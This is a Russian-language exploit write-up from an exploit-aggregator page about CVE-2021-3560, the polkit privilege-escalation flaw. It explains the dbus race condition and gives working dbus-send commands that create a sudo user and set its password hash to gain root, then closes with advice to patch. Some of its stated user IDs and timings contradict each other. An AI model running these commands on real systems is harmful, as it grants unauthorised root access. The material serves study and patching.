Sploitus

Exploit for CVE-2021-3560

kitploit · 2026-08-25

Exploit Code

MARKDOWN142 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LUCASPDINIZ-CVE-2021-3560
# Уязвимость Polkit - CVE-2021-3560 📕

  * **Введение**



В 2021 году исследователь Кевин Бэкхаус обнаружил уязвимость повышения привилегий в утилите polkit. однако не все версии Linux уязвимы для polkit.

Ниже приведен пример уязвимой версии;

  * Red Hat Enterprise Linux 8
  * Fedora 21 (или новее)
  * Debian Testing ("Bullseye")
  * Ubuntu 20.04 LTS ("Focal Fossa")



Самые современные версии Linux уже содержат исправление этой уязвимости, однако старые версии, как упомянуто выше, все еще уязвимы.

![](https://assets.kitploit.com/production/public/readmes/37601/3241f69cf5f68635681aeefc4ef28a1ebb702770b70fe59a4c74dbc7b2f5c8c7.jpg)

## Но что такое Polkit ❓

Polkit — это системная служба, установленная по **умолчанию** во многих дистрибутивах Linux. Она используется systemd, поэтому любой дистрибутив Linux, использующий systemd, также использует polkit.

Polkit — это системная служба, работающая «под капотом», когда вы видите диалоговое окно, например;

![](https://assets.kitploit.com/production/public/readmes/37601/bf4a364c31f9fae1fa45433020f04c9a4a09fefdcfbcc261e835f7aed727ebba.png)

Если в какой-то момент вам нужно изменить привилегии или сделать что-то, требующее более высоких привилегий, например создать учетную запись пользователя, Polkit отвечает за разрешение или запрет этого действия.

## Каково влияние этой уязвимости ❓

**CVE-2021-3560** позволяет неавторизованному локальному злоумышленнику получить привилегии root. Эта уязвимость очень проста и быстра в эксплуатации, поэтому важно как можно скорее обновить ваши установки Linux. Любая система с установленной версией polkit 0.113 (или новее) уязвима. Это включает такие популярные дистрибутивы, как RHEL 8 и Ubuntu 20.04.

## Как Polkit уязвим ❓

Вручную отправляя сообщения dbus в dbus-daemon (по сути, API, позволяющий разным процессам взаимодействовать друг с другом), а затем убивая запрос до его полной обработки, мы можем обмануть polkit и заставить его авторизовать команду.

### Что такое dbus-daemon ❓

**dbus-daemon** — это программа, работающая в фоновом режиме, которая управляет сообщениями между приложениями.

![](https://assets.kitploit.com/production/public/readmes/37601/f1d3c4fb74e79508964ddc16e43e5b2e486896f9916efb49d49faa6a77237c32.jpg)

По сути, реализация этой уязвимости выполняется следующим образом;

  1. Злоумышленник вручную отправляет сообщение dbus в accounts-daemon с запросом на создание новой учетной записи с правами sudo (или, впоследствии, установку пароля для нового пользователя). Это сообщение получает уникальный идентификатор от dbus-daemon.

  2. Злоумышленник убивает сообщение после того, как polkit его получит, но до того, как polkit успеет его обработать. Это фактически уничтожает уникальный идентификатор сообщения.

  3. Polkit запрашивает у dbus-daemon идентификатор пользователя, отправившего сообщение, ссылаясь на (уже удаленный) идентификатор сообщения.

  4. dbus-daemon не может найти идентификатор сообщения, потому что мы его уничтожили на втором шаге. Он обрабатывает ошибку, отвечая кодом ошибки.

  5. Polkit неправильно обрабатывает ошибку и подставляет 0 вместо идентификатора пользователя — то есть учетную запись root машины.

  6. Считая, что действие запросил пользователь root, polkit пропускает запрос без проверки.




Короче говоря, уничтожая идентификатор сообщения до того, как dbus-daemon успеет передать polkit правильный идентификатор, мы эксплуатируем плохую обработку ошибок в polkit, чтобы обмануть утилиту, заставив ее думать, что запрос был сделан всемогущим пользователем root.

## Практика - POC

  1. Давайте добавим нового пользователя с именем _**lucas**_ , с правами sudo и паролем _**banana**_.



![](https://assets.kitploit.com/production/public/readmes/37601/7d583fabaa6db0a0ea736f54d4e0ddb1e0bc3a2136f91d5ee692b514120f00c4.jpg)

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
    

_**В этом случае при попытке создать пользователя lucas мы получаем сообщение об отсутствии разрешения (требуется аутентификация).**_

Эта команда вручную отправит сообщение dbus в accounts daemon, выведет ответ и создаст нового пользователя с именем _**lucas**_(string:lucas), с описанием "test vulns" (string:"test vulns") и членством в группе sudo, установленным в true (ссылка на int32:1).

  2. Поскольку это, по сути, состояние гонки, сначала нам нужно определить, сколько времени будет выполняться наша команда. Попробуем это с первым сообщением dbus:



![](https://assets.kitploit.com/production/public/readmes/37601/9424a96d6f484d6e599e4b16432bf4bd13c24c09258be1002962dc0909fc08af.jpg)

root@kitploit:~
    
    
    time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1
    

В этом случае мы используем ту же команду создания пользователя из шага 1, однако мы используем функцию 'time' для получения времени выполнения этой команды.

Это занимает 0,011 секунды. Это число будет немного отличаться каждый раз при запуске команды.

  3. Нам нужно убить команду примерно на середине выполнения. Давайте попробуем прервать процесс через 0,005 секунды, хорошо? (Это значение меняется для каждого случая).



Попробуем это. Нам нужно отправить сообщение dbus, а затем убить его примерно на середине:

![](https://assets.kitploit.com/production/public/readmes/37601/2beb6e3cdd3374616c5e97728ca664c6ab84bfbdde69e9adc4296d1dfb3004fe.jpg)

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!
    

мы отправили сообщение dbus в фоновом задании (используя амперсанд для перевода команды в фон). Затем мы указали ему спать 0,005 миллисекунды, а затем убить предыдущий процесс ($!). Это успешно создало нового пользователя, добавив его в группу sudo. На этом этапе следует отметить, что идентификатор пользователя нового пользователя в данном случае равен 1000.

  4. Здесь нам нужен хеш пароля, поэтому давайте сгенерируем хеш Sha512Crypt для выбранного пароля (banana):



![](https://assets.kitploit.com/production/public/readmes/37601/f8b017bc050d730f767687931b55bfdb001a60a05367a4517457ae9b221e58ca.jpg)

С помощью openssl мы генерируем пароль типа 6 (SHA512-crypt) и наш пароль в открытом виде.

  5. 0,135 миллисекунды сработали, поэтому попробуем снова



![](https://assets.kitploit.com/production/public/readmes/37601/cc980b161e483cdbd317dda21b814426d5bd94531bedf623b3e964e44d502063.jpg)

root@kitploit:~
    
    
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!
    

В этом случае мы включаем пароль (banana) для идентификатора 1005, который был создан на предыдущих шагах.

## Исправление Polkit ✔️

Эта уязвимость была публично раскрыта, и исправление было выпущено 3 июня 2021 года и получило идентификатор **CVE-2021-3560**.

Проверьте обновление вашей машины с помощью **yum/apt update/upgrade.**